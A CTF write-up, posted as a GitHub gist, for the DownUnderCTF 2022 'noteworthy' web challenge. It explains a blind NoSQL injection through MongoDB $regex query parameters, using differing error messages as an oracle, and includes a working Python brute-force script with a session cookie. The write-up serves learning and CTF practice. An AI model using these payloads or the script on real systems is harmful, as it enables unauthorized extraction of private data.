Skip to content

Instantly share code, notes, and snippets.

@why-2004
Last active October 20, 2022 08:16
Show Gist options
  • Save why-2004/a8a4876162ef647428934278daf755c3 to your computer and use it in GitHub Desktop.
Save why-2004/a8a4876162ef647428934278daf755c3 to your computer and use it in GitHub Desktop.

https://play.duc.tf/challenges#noteworthy-20

What's a beginner-friendly CTF without a totally not generic Bootstrap note taking web chall?

Author: joseph#8210

https://web-noteworthy-873b7c844f49.2022.ductf.dev

included attachment: noteworthy.tar.gz

We can first take a look at the hosted site, and find a fairly simple Bootstrap UI that lets you make an account and notes...

image image

Let's take a look at the source code provided as well. Take a look at this part of app.js:

    let admin = await User.findOne({ username: 'admin' })
    if(!admin) {
        admin = new User({ username: 'admin' })
        await admin.save()
    }
    let note = await Note.findOne({ noteId: 1337 })
    if(!note) {
        const FLAG = process.env.FLAG || 'DUCTF{test_flag}'
        note = new Note({ owner: admin._id, noteId: 1337, contents: FLAG })
        await note.save()
        admin.notes.push(note)
        await admin.save()
    }

Straightforward; there is a note with the noteId 1337 and the goal is to access it. Of course, it's not as simple as just changing the URL...

image

Of course, there is authentication. My first thought was that the solution could be to log in as the admin user somehow, but the admin user has no hashed password stored.... Instead, look at routes.js:

router.get('/edit', ensureAuthed, async (req, res) => {
    let q = req.query
    try {
        if('noteId' in q && parseInt(q.noteId) != NaN) {
            const note = await Note.findOne(q)

            if(!note) {
                return res.render('error', { isLoggedIn: true, message: 'Note does not exist!' })
            }

            if(note.owner.toString() != req.user.userId.toString()) {
                return res.render('error', { isLoggedIn: true, message: 'You are not the owner of this note!' })
            }

            res.render('edit', { isLoggedIn: true, noteId: note.noteId, contents: note.contents })
        } else {
            return res.render('error', { isLoggedIn: true, message: 'Invalid request' })
        }
    } catch {
        return res.render('error', { isLoggedIn: true, message: 'Invalid request' })
    }
})

Of note (pun intended) is that there is a general error message for if the note is not found ("Note does not exist!"), and a specific error message for if the note exists but authentication fails ("You are not the owner of this note!"). In addition, the URL query string contents are not checked apart from having to contain noteId. We can exploit this.

https://web-noteworthy-873b7c844f49.2022.ductf.dev/edit?noteId=7726289592&contents=test shows off the note as usual (for me, that is):

image

Change the URL to https://web-noteworthy-873b7c844f49.2022.ductf.dev/edit?noteId=7726289592&contents=testing however and...

image

So we can check if a note has certain contents or not. But wait! This isn't helpful unless you want to bruteforce the flag, which is a bit painful.... Luckily there's another trick: the code uses MongoDB, which is vulnerable to NoSQL injection :)

const note = await Note.findOne(q)

This is vulnerable to injection as in https://www.mongodb.com/docs/manual/reference/method/db.collection.findOne/ since any query operator can be input, and express allows objects in the query :>

$regex will likely be useful since it lets us check character-by-character as opposed to the entire string at once, i.e. this is a blind NoSQL injection.

https://web-noteworthy-873b7c844f49.2022.ductf.dev/edit?noteId=1337&contents[$regex]=^DUCTF produces the following output:

image

You are not the owner of the note!

This implicitly tells us that contents[$regex]=^DUCTF is true, as expected, since the flag format is DUCTF{...}. In contrast, if we try a different query such as https://web-noteworthy-873b7c844f49.2022.ductf.dev/edit?noteId=1337&contents[$regex]=^EWLNSLNELCCLDTLTEL ...

image

Note does not exist!

Hence, we can leak the contents of the note by brute-forcing the flag character by character.

import string
import aiohttp

import asyncio


async def fetch(url, fuzz, session):
    full_url = url + fuzz
    async with session.get(full_url) as response:
        r = await response.read()
        return b"owner of" in r


async def _search(url, charset):
      async with aiohttp.ClientSession() as session:
        session.cookie_jar.update_cookies({"jwt":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiI2MzJlY2Y3ZTkwODhjYzMxNWI3MDVkOTMiLCJpYXQiOjE2NjQwOTMxODgsImV4cCI6MTY2NDY5Nzk4OH0.McmlCp_zuyecsEwmfVA-ZMNPIVETu9UAfbj9vmn5hAg"})
        negative = await fetch(url, "FUZZ", session)
        print(negative)
        found = "DUCTF"
        while True:
            tasks = []
            for char in charset:
                task = asyncio.ensure_future(fetch(url, found + char, session))
                tasks.append(task)
            responses = await asyncio.gather(*tasks)
            for i, x in enumerate(responses):
                if x != negative:
                    found += charset[i]
                    print(found[-100:])
                    break
            else:
                print("Not found")
                break


def search(url, charset=string.ascii_letters + string.digits + "{}?~$"):
    loop = asyncio.new_event_loop()
    loop.run_until_complete(_search(url, charset))


if __name__ == '__main__':
    charset = "01357etoanihsrdluc24689gwyfmbkvjxqz_ETOANIHSRDLUCGWYFMBKVJXQZ{}"
    search(
        "https://web-noteworthy-873b7c844f49.2022.ductf.dev/edit?noteId=1337&contents[$regex]=^", charset)

A point to note: Since the site redirects users that are not logged in to the home page, setting the cookies is required.

image

DUCTF{n0sql1_1s_th3_new_5qli}

So true.

Many thanks to jro for helping me with this challenge :>

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment